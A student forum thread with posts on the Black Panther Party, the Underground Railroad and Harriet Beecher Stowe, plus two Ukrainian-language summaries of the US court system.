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Post by Ulyana Panasyuk IM45 on Oct 1, 2015 19:00:09 GMT
The Black Panthers The Black Panthers were formed in California in 1966 and they played a short but important part in the civil rights movement. The Black Panthers believed that the non-violent campaign ofMartin Luther King had failed and any promised changes to their lifestyle via the ‘traditional’ civil rights movement, would take too long to be implemented or simply not introduced.
The language of the Black Panthers was violent as was their public stance. The two founders of the Black Panther Party were Huey Percy Newton and Bobby Seale. They preached for a “revolutionary war” but though they considered themselves an African-American party, they were willing to speak out for all those who were oppressed from whatever minority group. They were willing to use violence to get what they wanted. The Black Panther Party (BPP) had four desires : equality in education, housing, employment and civil rights. It had a 10 Point Plan to get its desired goals.
The ten points of the party platform were: 1) “Freedom; the power to determine the destiny of the Black and oppressed communities. 2) Full Employment; give every person employment or guaranteed income. 3) End to robbery of Black communities; the overdue debt of forty acres and two mules as promised to ex-slaves during the reconstruction period following the emancipation of slavery. 4) Decent housing fit for the shelter of human beings; the land should be made into cooperatives so that the people can build. 5) Education for the people; that teaches the true history of Blacks and their role in present day society. 6) Free health care; health facilities which will develop preventive medical programs. 7) End to police brutality and murder of Black people and other people of color and oppressed people. 8) End to all wars of aggression; the various conflicts which exist stem directly from the United States ruling circle. 9) Freedom for all political prisoners; trials by juries that represent our peers. 10) Land, bread, housing, education, clothing, justice, peace and community control of modern industry.”
The call for a revolutionary war against authority at the time of the Vietnam War, alerted the FBI to the Black Panther’s activities. Whatever happened, the FBI was successful in destroying the Black Panther’s movement. Those who supported the BPP claim that the FBI used dirty tactics such as forging letters to provoke conflict between the BPP’s leaders; organising the murders of BPP leaders such as John Huggins; initiating a “Black Propaganda” campaign to convince the public that the BPP was a threat to national security; using infiltrators to commit crimes that could be blamed on the BPP so that leaders could be arrested and writing threatening letters to jurors during trials so that the BPP would be blamed for attempting to pervert the course of justice. Supporters of the BPP claimed that this last tactic was used with success at the trial of the “Chicago Eight” whereby the jury, apparently angered at being intimidated by the BPP, found the eight members of the BPP guilty. None of the above tactics have ever been proved or admitted to by the FBI. In California, the party leader of Oakland, David Hilliard, claimed that the BPP was at the top of the FBI’s most wanted list. Hilliard also claimed that the then governor of California, Ronald Reagan, constantly vilified the BPP. “This caused a stigma to be placed upon the Black Panther Party as Pied Pipers of cultural and social revolution characterising us as the essence of violence, chaos and evil.”
The head of the FBI, Edgar J Hoover, called the BPP “the greatest threat to the internal security of the country.” Hoover ordered field operatives of the FBI to introduce measures that would cripple the BPP. Using infiltrators (one of these, William O’Neal, became Chief of Security for the BPP), the FBI knew of all the movements etc of BPP leaders. FBI raids in BPP heartlands – Chicago and Los Angeles – that led to the arrest of regional leaders, resulted in the collapse of the movement. To view the BPP as a purely revolutionary and violent movement is wrong. In areas of support the BPP created a Free Food Program to feed those who could not afford to do so for themselves; Free Medical Research Health Clinics to provide basic health care for those who could not afford it and an Intercommunal Youth Band to give community pride to the movement. In a book of his essays called “To Die for the People”, Huey Newton wrote that these were exactly what the African-American community wanted and that the BPP was providing its own people with something the government was not. Such community projects have survived in other guises, but after the demise of the BPP their lost their drive for a number of years. Was there much support for the BPP? Were they ‘Public Enemy Number One’ as Hoover claimed? In 1966, a survey carried out in America showed that less than 5% of African-Americans approved of groups such as the BPP. 60% were positively hostile to such groups. But were these survey results slanted in such a manner as to tarnish the name of the Black Panthers at an early stage in its existence especially as the head of the FBI, Hoover, was known to be very against the movement? In areas such as Oakland and parts of San Francisco and South San Francisco where the BPP claimed to feed nearly 200,000 people, support would have been a lot higher.
+video Black Panther Party Biography www.youtube.com/watch?v=QrSBFSOjEqE
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Post by Ulyana Panasyuk IM45 on Oct 1, 2015 20:51:06 GMT
UNDERGROUND RAILROAD
The Underground Railroad was neither underground nor a railroad. It got its name because its activities had to be carried out in secret, using darkness or disguise, and because railway terms were used by those involved with system to describe how it worked. Various routes were lines, stopping places were called stations, those who aided along the way were conductors and their charges were known as packages or freight. The network of routes extended through 14 Northern states and “the promised land” of Canada–beyond the reach of fugitive-slave hunters. Those who most actively assisted slaves to escape by way of the “railroad” were members of the free black community (including former slaves like Harriet Tubman), Northern abolitionists, philanthropists and church leaders like Quaker Thomas Garrett. Harriet Beecher Stowe, famous for her novel Uncle Tom’s Cabin, gained firsthand knowledge of the plight of fugitive slaves through contacts with the Underground Railroad in Cincinnati, Ohio. The Underground Railroad was the term used to describe a network of persons who helped escaped slaves on their way to freedom in the northern states or Canada. Although George Washington had commented upon such practices by the Quakers as early as the 1780s, the term gained currency in the 1830s, as northern abolitionists became more vocal and southern suspicions of threats to their peculiar institution grew. Did You Know? - Rewards offered by slaveholders for the capture of Harriet Tubman eventually totaled $40,000. The popular perception of a well-coordinated system of Quaker, Covenanter, and Methodist “conductors” secretly helping fugitives from “station” to “station” is an exaggeration. The practice involved more spontaneity than the railroad analogy suggests. By the time escapees reached areas where sympathetic persons might assist them, they had already completed the most difficult part of their journey. A successful escape was usually less the product of coordinated assistance and more a matter of the runaways’ resourcefulness–and a great deal of luck. The most active of the Railroad workers were northern free blacks, who had little or no support from white abolitionists. The most famous “conductor,” an escaped slave named Harriet Tubman, reportedly made nineteen return trips to the South; she helped some three hundred slaves escape. A number of individual whites also aided runaways, as did “vigilance committees,” often biracial in character, in northern cities. Estimates of the number of slaves assisted vary widely, but only a minuscule fraction of those held in bondage ever escaped. Few, particularly from the Lower South, even attempted the arduous journey north. But the idea of organized “outsiders” undermining the institution of slavery angered white southerners, leading to their demands in the 1840s that the Fugitive Slave Laws be strengthened. +video www.history.com/topics/black-history/underground-railroad
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Post by Michael Kalinichenko on Oct 2, 2015 8:13:38 GMT
For excellent illustrations & interesting texts Ms. Ulyana Panasyuk IM45 gets an award!
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Post by Olena Loburenko IM-45 on Oct 2, 2015 13:37:38 GMT
Судова система в Сполучених штатах Америки
Суди слідкують за дотриманням порядку. Вони управляють ним, вирішують його спірні питання та забезпечують рівність кожного з нас перед законом. Кожен американський штат має свою судову систему — державну та федеральну. Обидві системи представлені трьома основними судовими рівнями — суди першої інстанції, суди проміжної інстанції та Верхній суд, чи Верховний суд. Державні суди займаються справами, які виникають в рамках державного законодавства, а федеральні — федерального законодавства. Суди першої інстанції відповідають в основному за здійснення правосуддя. Після кожної розглянутої там справи, як правило, виноситься остаточне рішення суду. В кожному штаті суди першої інстанції включають в себе: суди загальних позовів з цивільною і кримінальною юрисдикцією та місцеві суди, суди мерів, які є меншими за значенням. Найважливішим за значенням серед усіх судів першої інстанції є суд загальних позовів. Це суд загальної юрисдикції — майже будь-якої цивільної чи кримінальної справи, серйозної чи незначної, яка подається туди. У кримінальних справах, суди загальних позовів мають виняткову юрисдикцію над скоєнням тяжких злочинів («felonies» — тяжкі злочинів, які караються позбавленням волі або смертною карою. У цивільних справах вони мають виключну юрисдикцію щодо офіційного затвердження заповіту, сімейних відносини і справ неповнолітніх. Офіційне утвердження заповіту вирішує справи стосовно речей, які передаються у спадок, управління майном, усиновлення та опікунства. Такі суди дають право на здійснення шлюбу. Сімейний поділ має справу з розлученнями, аліментами та опікою над дітьми. Відділ у справах неповнолітніх має юрисдикцію над винними, неслухняними або бездомними дітьми та дорослими, які нехтують, жорстоко поводяться чи сприяють скоєнню злочинів своїх дітей. Коли неповнолітній (людина, яка не досягла вісімнадцяти років) обвинувачується у скоєнні злочину, тяжкого чи не великої тяжкості, відділ у справах має виключну юрисдикцію щодо цієї справи. Основним завданням апеляційних судів є розгляд та перевірка справ, поданих від судів першої інстанції, на наявність їх законного трактування та застосування. Верховний суд кожної держави є, в першу чергу, апеляційним судом і судом останньої інстанції. Структура федерального суду подібна структурі державної судової системи. У судах першої інстанції у федеральній системі Сполучених Штатів діють окружні суди. У США апеляційні суди є судами проміжної інстанції між окружними судами та Верховним судом Сполучених штатів Америки. Верховний суд США є найвищим судом в країні, а також судом останньої інстанції. Його представляють головний суддя та вісім членів суду, кожен з яких довічно призначається на службу президентом за порадою і згодою сенату. Обов'язок Верховного суду — визначити чи відповідають закони, прийняті сенатом, Конституції. На сьогоднішній день основними правовими питаннями, що стоять перед Верховним судом є: втручання уряду в релігійне життя, у скоєння абортів, в права та недоторканність приватного, в расову дискримінацію та дискримінацію за ознакою статі.
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Post by Julia Pavlushenko IM-45 on Oct 5, 2015 14:08:00 GMT
Black Panthers Party
In October of 1966, in Oakland California, Huey Newton and Bobby Seale founded the Black Panther Party for Self-Defense. The Panthers practiced militant self-defense of minority communities against the U.S. government, and fought to establish revolutionary socialism through mass organizing and community based programs. The party was one of the first organizations in U.S. history to militantly struggle for ethnic minority and working class emancipation — a party whose agenda was the revolutionary establishment of real economic, social, and political equality across gender and color lines.
The Ten-Point Program Rules of the Black Panther Party
Original 6 members Original six Black Panthers (November, 1966) Top left to right: Elbert "Big Man" Howard; Huey P. Newton (Defense Minister), Sherman Forte, Bobby Seale (Chairman). Bottom: Reggie Forte and Little Bobby Hutton (Treasurer). Black Panther Theory: The practices of the late Malcolm X were deeply rooted in the theoretical foundations of the Black Panther Party. Malcolm had represented both a militant revolutionary, with the dignity and self-respect to stand up and fight to win equality for all oppressed minorities; while also being an outstanding role model, someone who sought to bring about positive social services; something the Black Panthers would take to new heights. The Panthers followed Malcolm's belief of international working class unity across the spectrum of color and gender, and thus united with various minority and white revolutionary groups. From the tenets of Maoism they set the role of their Party as the vanguard of the revolution and worked to establish a united front, while from Marxism they addressed the capitalist economic system, embraced the theory of dialectical materialism, and represented the need for all workers to forcefully take over the means of production.
Black Panther Black Panther History: On April 25th, 1967, the first issue of The Black Panther, the party's official news organ, goes into distribution. In the following month, the party marches on the California state capital fully armed, in protest of the state's attempt to outlaw carrying loaded weapons in public. Bobby Seale reads a statement of protest; while the police respond by immediately arresting him and all 30 armed Panthers. This early act of political repression kindles the fires to the burning resistance movement in the United States; soon initiating minority workers to take up arms and form new Panther chapters outside the state.
The Black Panther: [off-site link] Articles from 1968-69
In October of 1967, the police arrest the Defense Minister of the Panthers, Huey Newton, for killing an Oakland cop. Panther Eldridge Cleaver begins the movement to "Free Huey", a struggle the Panthers would devote a great deal of their attention to in the coming years, while the party spreads its roots further into the political spectrum, forming coalitions with various revolutionary parties. Stokely Carmichael,Stokely Carmichael in 1970 the former chairman of the Student Nonviolent Coordinating Committee (SNCC) and a nationally known proponent of Black Power, is recruited into the party through this struggle, and soon becomes the party's Prime Minister in February, 1968. Carmichael is adamantly against allowing whites into the black liberation movement, explaining whites cannot relate to the black experience and have an intimidating effect on blacks; a position that stirs opposition within the Panthers. Carmichael explains: "Whites who come into the black community with ideas of change seem to want to absolve the power structure of its responsibility for what it is doing, and say that change can only come through black unity, which is the worst kind of paternalism..... If we are to proceed toward true liberation, we must cut ourselves off from white people..... [otherwise] we will find ourselves entwined in the tentacles of the white power complex that controls this country.”
Stokely Carmichael: The Basis of Black Power
In the beginning of 1968, after selling Mao's Red Book to university students in order to buy shotguns, the Party makes the book required reading. Meanwhile, the FBI, under J. Edgar Hoover, begins a program called COINTELPRO (counterintelligence program) to break up the spreading unity of revolutionary groups that had begun solidifying through the work and examaple of the Panthers — the Peace and Freedom Party, Brown Berets, Students for a Democratic Society, the SNCC, SCLC, Poor People's March, Cesar Chavez and others in the farm labor movement, the American Indian Movement, Young Puerto Rican Brothers, the Young Lords and many others. To destroy the party, the FBI begins with a program of surgical assassinations — killing leading members of the party who they know cannot be otherwise subverted. Following these mass killings would be a series of arrests, followed by a program of psychological warfare, designed to split the party both politically and morally through the use of espionage, provocatures, and chemical warfare.
Warning to So-Called “Paper Panthers”, The Black Panther, September 28, 1968
Watered down examples of FBI investigations, provided by the FBI: [off-site links]
The Winston Salem (N.C.) Black Panthers (2,895 pages) Communist infiltration of the SNCC in 1964 (2,887 pages) Cesar Chavez and United Farm Workers Communist Affiliations in 1965 (2,021 pages)
U.S. Police Terror and Repression
On April 6, 1968, in West Oakland, Bobby Hutton, 17 years old, is shot dead by Oakland police. In a 90 minute gun battle, an unarmed Bobby Hutton Bobby Hutton is shot ten times dead, after his house is set ablaze and he is forced to run out into a fire of bullets. Just two days earlier, Martin Luther King is assasinated, after he had begun rethinking his own doctrines of non-violence, and started to build ties with radical unions. Two months later on the day of Bobby's death, Robert Kennedy, widely recognised in the minority commmunity as one of the only politicians in the US "sympathetic" to the civil rights movement, is also assasinated.
Growing Child In January, 1969, The first Panther's Free Breakfast for School Children Program is initiated at St. Augustine's Church in Oakland. By the end of the year, the Panthers set up kitchens in cities across the nation, feeding over 10,000 children every day before they went to school. The Black Panther: To Feed Our Children
A few months later, J. Edgar Hoover publicly states that the Panthers are the "greatest threat to the internal security of the country."
In Chicago, the outstanding leader of the Panthers local, Fred Hampton, leads five different breakfast programs on the West Side, helps create a free medical center, and initiates a door to door program of health services which test for sickle cell anemia, and encourage blood drives for the Cook County Hospital. The Chicago party also begins reaching out to local gangs to clean up their acts, get them away from crime and bring them into the class war. The Parties efforts meet wide success, and Hampton's audiences and organised contingent grow by the day. Fred Hampton On December 4th, at 4:00 a.m. in the morning, thanks to information from an FBI informant , Chicago police raid the Panthers' Chicago apartment, murdering Fred Hampton while he sleeps in bed. He is shot twice in the head, once in the arm and shoulder; while three other people sleeping in the same bed escape unharmed. Mark Clark, sleeping in the living room chair, is also murdered while asleep. Hampton's wife, carrying child for 8 months, is also shot, but survives. Four panthers sleeping in the apartment are wounded, while one other escapes injury . Fred Hampton was 21 years old when he was executed, Mark was 17 years old. According to the findings of the federal grand jury, Ninety bullets were fired inside the apartment. 1 came from a Panther — Mark — who slept with a shotgun in his hand. All surviving Panther members were arrested for "attempted murder of the police and aggravated assault". Not a single cop spent a moment in jail for the executions.
Fred Hampton: I am ... a Revolutionary
In the summer of 1969, the alliance between the Panthers and SNCC begins ripping apart. One of the main points of dispute is the inclusion of whites in the struggle for minority liberation, a dispute which is pushed into an open gun fight at the University of California in Los Angeles against the group US, led by Maulana Karenga, which leaves two Panthers dead. In September, in the government's court house, Huey Newton is convicted of voluntary manslaughter and sentenced to 2 to 15 years in prison; by 1970 the conviction is appealed and overturned on procedural errors. On November 24, 1968, Kathleen and Eldridge Cleaver flee the US, visit Cuba and Paris, and eventually settle in Algeria. Earlier in the year Cleaver published his famous book Soul on Ice. By the end of the year, the party has swelled from 400 members to over 5,000 members in 45 chapters and branches, with a newspaper circulation of 100,000 copies.
In 1969 Seale is indicted in Chicago for protesting during the Democratic national convention of last year. The court refuses to allow Seale to choose a lawyer. As Seale repeatedly stands up during the show trial insisting that he is being denied his constitutional right to counsel, the judge orders him bound and gagged. He is convicted on 16 counts of contempt and sentenced to four years in prison. While in jail he would be charged again for killing a cop in years past, a trial that would end in 1971 with a hung jury.
In March, 1970, Bobby Seale publishes Seize The Time while still being held in prison, the story of the Panthers and Huey Newton. On April 2, 1970, in New York, 21 Panthers are charged with plotting to assassinate police officers and blow up buildings. On May 22nd, Eight members, including Ericka Huggins, are arrested on a variety of conspiracy and murder charges in New Haven, Connecticut. Meanwhile, Chief of staff David Hilliard is on trial for threatening President Richard Nixon. The party does little to separate its legal and illegal aspects, and is thus always and everywhere under attack by the government. In 1971, the Panther's newspaper circulation reaches 250,000.
On Huey Newton's release from prison, he devotes more effort to further develop the Panther's socialist survival programs in black communities; programs that provided free breakfasts for children, established free medical clinics, helped the homeless find housing, and gave away free clothing and food.
FBI forgery, provacation, & chemical war
In March, 1970, the FBI begins to soe seeds of factionalism in the Black Panthers, in part by forging letters to members. Eldridge Cleaver is one of their main targets — living in exile in Algiers — they gradually convince him with a steady stream of misinformation that the BPP leadership is trying to remove him from power. Cleaver recieved stacks of forgered FBI letters from supposed party members, criticising Netwon's leadership, and asking for Cleaver to take control. An example of such a forged letter, written using the name of Connie Matthews, Newton's personal secretary:
I know you have not been told what has been happening lately.... Things around headquarters are dreadfully disorganized with the comrade commander not making proper decisions. The newspaper is in a shambles. No one knows who is in charge. The foreign department gets no support. Brothers and sisters are accused of all sorts of things...
I am disturbed because I, myself, do not know which way to turn.... If only you were here to inject some strength into the movement, or to give some advice. One of two steps must be taken soon and both are drastic. We must either get rid of the supreme commander or get rid of the disloyal members... Huey is really all we have right now and we can't let him down, reglardless of how poorly he is acting, unless you feel otherwise.
Cleaver receives similarly forged letters across the spectrum, from groups outside the Panthers, to Panthers themselves, from rank and file members to Elbert "Big Man" Howard, editor of the Black Panther. The split comes when Newton goes onto a T.V. talk show for an interview, with Cleaver on the phone in Algiers. Cleaver expresses his absolute disdain for what has happened to the party, demands that David Hilliard (Chief of Staff) be removed, and even attacks the breakfast program as reformist. Cleaver is expelled from the Central Committee, and starts up his own Black Liberation Army. In 1973, Seale runs for mayor of Oakland. Though he receives 40 percent of the vote, he is defeated.
The destroyed remnants of the party leadership
With such great struggles, seeing the party being ripped apart by factions and internal hatred, Huey, like many members, becomes disillusioned. He no longer wants to lead the party, though so many expect and demand otherwise, while he spins into a spiral of self-doubt. He becomes heavily dependent on cocaine, heroin, and others. It is not clear this was his own doing, and very probable the work of the FBI. Huey remarked in one of his public speeches in the 1980s, where he would often have spurts of his brilliant clarity but then become entirely incoherent and rambling, that he was killing himself by reactionary suicide, through the vices of drug addiction. On August 22, 1989, Newton is shot dead on the streets of Oakland in a drug dispute.
Capitalism Plus Dope Equals Genocide
Bobby Seale resigns from the party; while Elaine Brown takes the lead in continuing the Panther community programs. In the fall of 1975, Eldridge and Kathleen Cleaver return from exile as born-again Christians. In 1979, all charges against Cleaver are dropped after he bargains with the state and pleads guilty to assault in a 1968 shoot out with the cops. He is put on five years probation. In the dimming years of his life, Cleaver assimilates a political outlook similar to Martin Luther King, engages in various business ventures, and becomes heavily addicted to cocaine.
By the beginning of the 1980s, attacks on the party and internal degradation and divisions, cause the party to fall apart. The leadership of the party had been absolutely smashed; its rank and file constantly terrorized by the police. Many remaining Panthers were hunted down and killed in the following years, imprisoned on trumped charges (Mumia Abu-Jamal, Sundiata Acoli, among many others), or forced to flee the United States (Assata Shakur, and others).
As Cleaver would later explain in an interview a year before his death: "As it was [the U.S. government] chopped off the head [of the Black liberation movement] and left the body there armed. That's why all these young bloods are out there now, they've got the rhetoric but are without the political direction... and they've got the guns."
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Post by Julia Pavlushenko IM-45 on Oct 5, 2015 14:15:31 GMT
The Underground Railroad
The Underground Railroad was neither underground nor a railroad. It got its name because its activities had to be carried out in secret, using darkness or disguise, and because railway terms were used by those involved with system to describe how it worked. Various routes were lines, stopping places were called stations, those who aided along the way were conductors and their charges were known as packages or freight. The network of routes extended through 14 Northern states and “the promised land” of Canada–beyond the reach of fugitive-slave hunters. Those who most actively assisted slaves to escape by way of the “railroad” were members of the free black community (including former slaves like Harriet Tubman), Northern abolitionists, philanthropists and church leaders like Quaker Thomas Garrett. Harriet Beecher Stowe, famous for her novel Uncle Tom’s Cabin, gained firsthand knowledge of the plight of fugitive slaves through contacts with the Underground Railroad in Cincinnati, Ohio. The Underground Railroad was the term used to describe a network of persons who helped escaped slaves on their way to freedom in the northern states or Canada. Although George Washington had commented upon such practices by the Quakers as early as the 1780s, the term gained currency in the 1830s, as northern abolitionists became more vocal and southern suspicions of threats to their peculiar institution grew.
Did You Know? Rewards offered by slaveholders for the capture of Harriet Tubman eventually totaled $40,000.
The popular perception of a well-coordinated system of Quaker, Covenanter, and Methodist “conductors” secretly helping fugitives from “station” to “station” is an exaggeration. The practice involved more spontaneity than the railroad analogy suggests. By the time escapees reached areas where sympathetic persons might assist them, they had already completed the most difficult part of their journey. A successful escape was usually less the product of coordinated assistance and more a matter of the runaways’ resourcefulness–and a great deal of luck.
The most active of the Railroad workers were northern free blacks, who had little or no support from white abolitionists. The most famous “conductor,” an escaped slave named Harriet Tubman, reportedly made nineteen return trips to the South; she helped some three hundred slaves escape. A number of individual whites also aided runaways, as did “vigilance committees,” often biracial in character, in northern cities.
Estimates of the number of slaves assisted vary widely, but only a minuscule fraction of those held in bondage ever escaped. Few, particularly from the Lower South, even attempted the arduous journey north. But the idea of organized “outsiders” undermining the institution of slavery angered white southerners, leading to their demands in the 1840s that the Fugitive Slave Laws be strengthened.
The Reader’s Companion to American History. Eric Foner and John A. Garraty, Editors. Copyright © 1991 by Houghton Mifflin Harcourt Publishing Company. All rights reserved.
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Post by Victoria Pechenyk IM45 on Oct 5, 2015 16:12:09 GMT
What was the Underground Railroad?
The Underground Railroad was a secret network organized by people who helped men, women, and children escape from slavery to freedom. It operated before the Civil War (1861-1865) ended slavery in the United States. The Underground Railroad provided hiding places, food, and often transportation for the fugitives who were trying to escape slavery. Along the way, people also provided directions for the safest way to get further north on the dangerous journey to freedom.
Possible safe house on the Underground Railroad Slaves escaping North would often stay in “safe houses” to escape capture. These houses were owned by people, both black and white, who were sympathetic to the cause. The people who helped slaves escape were called "conductors" or "engineers." The places along the escape route were called "stations." Sometimes escaping slaves were called "passengers." Sometimes they were called "cargo" or "goods." Conductors helped passengers get from one station to the next. Sometimes they traveled with escaping slaves all the way from the South, where they had been slaves, to the North or to Canada, where they would be free. Sometimes the conductors traveled only a short distance and then handed the escaping slaves to another helper. Engineers, who were the leaders of the Underground Railroad, helped slaves who were running away by providing them with food, shelter, and sometimes jobs. They hid the slaves from people who were trying to catch them and return them to slavery. A well-organized network of people, who worked together in secret, ran the Underground Railroad. The work of the Underground Railroad resulted in freedom for many men, women, and children. It also helped undermine the institution of slavery, which was finally ended in the United States during the Civil War. Many slaveholders were so angry at the success of the Underground Railroad that they grew to hate the North. Many northerners thought that slavery was so horrible that they grew to hate the South. These people who hated each other were ready to go to war when the time came.
Why was it called the Underground Railroad?
No one is quite sure where the name "Underground Railroad" came from. Things that are underground are generally invisible. Because the operations of the Underground Railroad were secret, they were invisible to most people. Although slaves had been escaping for many years, the name was given to the network around the 1830s, at the same time that railroads were beginning to carry passengers across the United States. Because the routes of the escapes were a secret, it was as if the journeys were underground and out of sight.The Underground Railroad was not a real railroad.
The Underground Railroad used terms or codes taken from the language used on a real railroad. Other secret efforts have also had similar names. One example occurred during World War II when people who resisted the Nazis in Europe were called the Underground. Like the Underground Railroad, this network operated secretly to oppose the Nazis. Some members of this Underground helped Jews whom the Nazis wanted to kill. People hid Jews in their houses so the Nazi police would not find them. They sometimes helped them escape to a safe country where they were no longer in danger of being killed. The people of both underground movements put themselves at great risk to help others.Why did we have an Underground Railroad in the United States?
We had an Underground Railroad because we had slavery. We had an Underground Railroad because many people wanted to escape from slavery and because other people wanted to help them. Slaves lived a very unhappy life, often facing great cruelty and physical danger. It is natural that slaves wanted to escape. Many people who were free believed that slavery was wrong and so they put themselves in danger to help slaves escape and become free.
Slaves were bought and sold like ordinary property, like a chair or a cart.
Interesting Facts about the Underground Railroad
- Its most famous conductor was Harriet Tubman. - The Underground Railroad (UR) was not underground nor was it a railroad. It was called “underground” because of its secretive nature and “railroad” because it was an emerging form of transportation. - The UR was an informal network and had many routes. Most routes went to northern states and after 1850, to Canada. Others went south to Mexico or the Caribbean. - Historians estimate that about 100,000 slaves escaped using the UR network. - Most actions by people who helped slaves escape were spontaneous actions of generosity. They were women, men, children, white and black. A lot of them were Quakers and Methodists. - Railroad language was adopted as secret codes use by agents, station masters, conductors, operators, stockholders and all of those involved in saving slaves. Coded song were used by slaves. - Levi Coffin was known as the “President of the Underground Railroad” and his home as the “Grand Station of the Underground Railroad”. - The history of the UR goes back to the 1780s and became known as such in the 1830s. It reached its height in the 1850s and ended in 1863 when President Lincoln announced the Emancipation Proclamation. - The most famous supporters of the UR are: Harriet Tubman, Levi Coffin, William Still, Frederick Douglass, Thomas Garrett, William Lloyd Garrison, John Brown, Samuel Green, Gerrit Smith, Lucrecia Coffin Mott among others. - UR stations had secret hideouts such as passages, basements, cellars and hidden compartments in cupboards where slaves were safely hidden. - The Fugitive Slave Act of 1850 made it more difficult for slaves to escape. The law allowed for slaves to be returned to their masters even though they were in a free state. The final destination became Canada. - Under the Fugitive Slave Act any person who was caught helping a slave escape or offering shelter could be send to jail for 6 months or subjected to a $1,000 fine.
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Post by Tetyana Mulko IM45 on Oct 5, 2015 16:12:01 GMT
Harriet Beecher Stowe Early Life
Harriet Elizabeth Beecher was born on June 14, 1811, in Litchfield, Connecticut. She was one of 13 children born to religious leader Lyman Beecher and his wife, Roxanna Foote Beecher, who died when Harriet was a child. Harriet’s seven brothers grew up to be ministers, including the famous leader Henry Ward Beecher. Her sister Catharine Beecher was an author and a teacher who helped to shape Harriet’s social views. Another sister, Isabella, became a leader of the cause of women’s rights.
Harriet enrolled in a school run by Catharine, following the traditional course of classical learning usually reserved for young men. At the age of 21, she moved to Cincinnati, Ohio, where her father had become the head of the Lane Theological Seminary.
Lyman Beecher took a strong abolitionist stance following the pro-slavery Cincinnati Riots of 1836. His attitude reinforced the abolitionist beliefs of his children, including Stowe. Stowe found like-minded friends in a local literary association called the Semi-Colon Club. Here, she formed a friendship with fellow member and seminary teacher Calvin Ellis Stowe. They were married on January 6, 1836, and eventually moved to a cottage near in Brunswick, Maine, close to Bowdoin College.
Career Along with their interest in literature, Harriet and Calvin Stowe shared a strong belief in abolition. In 1850, Congress passed the Fugitive Slave Law, prompting distress and distress in abolitionist and free black communities of the North. Stowe decided to express her feelings through a literary representation of slavery, basing her work on the life of Josiah Henson and on her own observations. In 1851, the first installment of Stowe’s novel, Uncle Tom’s Cabin, appeared in the National Era. Uncle Tom's Cabin was published as a book the following year and quickly became a best seller. Stowe’s emotional portrayal of the impact of slavery, particularly on families and children, captured the nation's attention. Embraced in the North, the book and its author aroused hostility in the South. Enthusiasts staged theatrical performances based on the story, with the characters of Tom, Eva and Topsy achieving iconic status. After the Civil War began, Stowe traveled to Washington, D.C., where she met with Abraham Lincoln. A possibly apocryphal but popular story credits Lincoln with the greeting, “So you are the little woman who wrote the book that started this great war.” While little is known about the meeting, the persistence of this story captures the perceived significance of Uncle Tom’s Cabin in the split between North and South. Later Life Stowe continued to write and to champion social and political causes for the rest of her life. She published stories, essays, textbooks and a long list of novels, including Oldtown Folks and Dred. While none of these matched Uncle Tom’s Cabin in terms of popularity, Stowe remained well known and respected in the North, particularly in reform-minded communities. She was often asked to weigh in on political issues of the day, such as Mormon polygamy. Despite the moral rectitude of the Beechers, the family was not immune to scandal. In 1872, charges of an adulterous affair between Henry Ward Beecher and a female parishioner brought national scandal. Stowe maintained that her brother was innocent throughout the subsequent trial. While Stowe is closely associated with New England, she spent a considerable amount of time near Jacksonville, Florida. Among Stowe’s many causes was the promotion of Florida as a vacation destination and a place for social and economic investment. The Stowe family spent winters in Mandarin, Florida. One of Stowe’s books, Palmetto Leaves, takes place in northern Florida, describing both the land and the people of that region. Stowe died on July 1, 1896, in Hartford, Connecticut. She was 85. Her body is buried at Phillips Academy in Andover, Massachusetts, under the epitaph “Her Children Rise up and Call Her Blessed.” Legacy
Landmarks dedicated to the life, work and memory of Harriet Beecher Stowe exist across the eastern United States.
The Harriet Beecher Stowe House in Brunswick, Maine, is where Stowe lived when she wrote Uncle Tom's Cabin. In 2001, Bowdoin College purchased the house, together with a newer attached building, and was able to raise the substantial funds necessary to restore the house.
The Harriet Beecher Stowe House in Hartford, Connecticut, preserved the home where Stowe lived for the final decades of her life. The home is now a museum, featuring items owned by Stowe, as well as a research library. The home of Stowe’s next-door neighbor, Samuel Clemens (better known as Mark Twain), is also open to the public.
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Post by Tetyana Mulko IM45 on Oct 5, 2015 16:21:23 GMT
The underground railroad
The Underground Railroad was neither underground nor a railroad. It got its name because its activities had to be carried out in secret, using darkness or disguise, and because railway terms were used by those involved with system to describe how it worked. Various routes were lines, stopping places were called stations, those who aided along the way were conductors and their charges were known as packages or freight. The network of routes extended through 14 Northern states and “the promised land” of Canada–beyond the reach of fugitive-slave hunters. Those who most actively assisted slaves to escape by way of the “railroad” were members of the free black community (including former slaves like Harriet Tubman), Northern abolitionists, philanthropists and church leaders like Quaker Thomas Garrett. Harriet Beecher Stowe, famous for her novel Uncle Tom’s Cabin, gained firsthand knowledge of the plight of fugitive slaves through contacts with the Underground Railroad in Cincinnati, Ohio. The Underground Railroad was the term used to describe a network of persons who helped escaped slaves on their way to freedom in the northern states or Canada. Although George Washington had commented upon such practices by the Quakers as early as the 1780s, the term gained currency in the 1830s, as northern abolitionists became more vocal and southern suspicions of threats to their peculiar institution grew. The popular perception of a well-coordinated system of Quaker, Covenanter, and Methodist “conductors” secretly helping fugitives from “station” to “station” is an exaggeration. The practice involved more spontaneity than the railroad analogy suggests. By the time escapees reached areas where sympathetic persons might assist them, they had already completed the most difficult part of their journey. A successful escape was usually less the product of coordinated assistance and more a matter of the runaways’ resourcefulness–and a great deal of luck.
The most active of the Railroad workers were northern free blacks, who had little or no support from white abolitionists. The most famous “conductor,” an escaped slave named Harriet Tubman, reportedly made nineteen return trips to the South; she helped some three hundred slaves escape. A number of individual whites also aided runaways, as did “vigilance committees,” often biracial in character, in northern cities.
Estimates of the number of slaves assisted vary widely, but only a minuscule fraction of those held in bondage ever escaped. Few, particularly from the Lower South, even attempted the arduous journey north. But the idea of organized “outsiders” undermining the institution of slavery angered white southerners.
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Post by Tetyana Mulko IM45 on Oct 5, 2015 16:26:14 GMT
Судова система в Сполучених штатах Америки Суди слідкують за виконанням закону. Вони застосовують його, вони вирішують диспути згідно з законом і вони гарантують, що він є, і залишається рівним і неупередженим для всіх.
У Сполучених Штатах кожен штат обслуговується окремими судовими системами - державними і федеральними. Обидві системи об'єднані в трьох основних рівнях судів - суди першої інстанції, проміжні апеляційні суди і Верховний суд. Державні суди по суті співпрацюють з справами, що виникають в рамках державного законодавства і федеральні суди займаються справами, що виникають в рамках федерального закону.
Суди першої інстанції несуть основне навантаження у відправленні правосуддя. Справи, які розпочинають розглядатись у них і в більшості інших інстанцій остаточно вирішуються тут.
Суди першої інстанції в кожній державі включають в себе: суди загальної юрисдикції, які мають загальну цивільну і кримінальну юрисдикцію і менш важливі муніципальні суди, окружні суди і суди мерів.
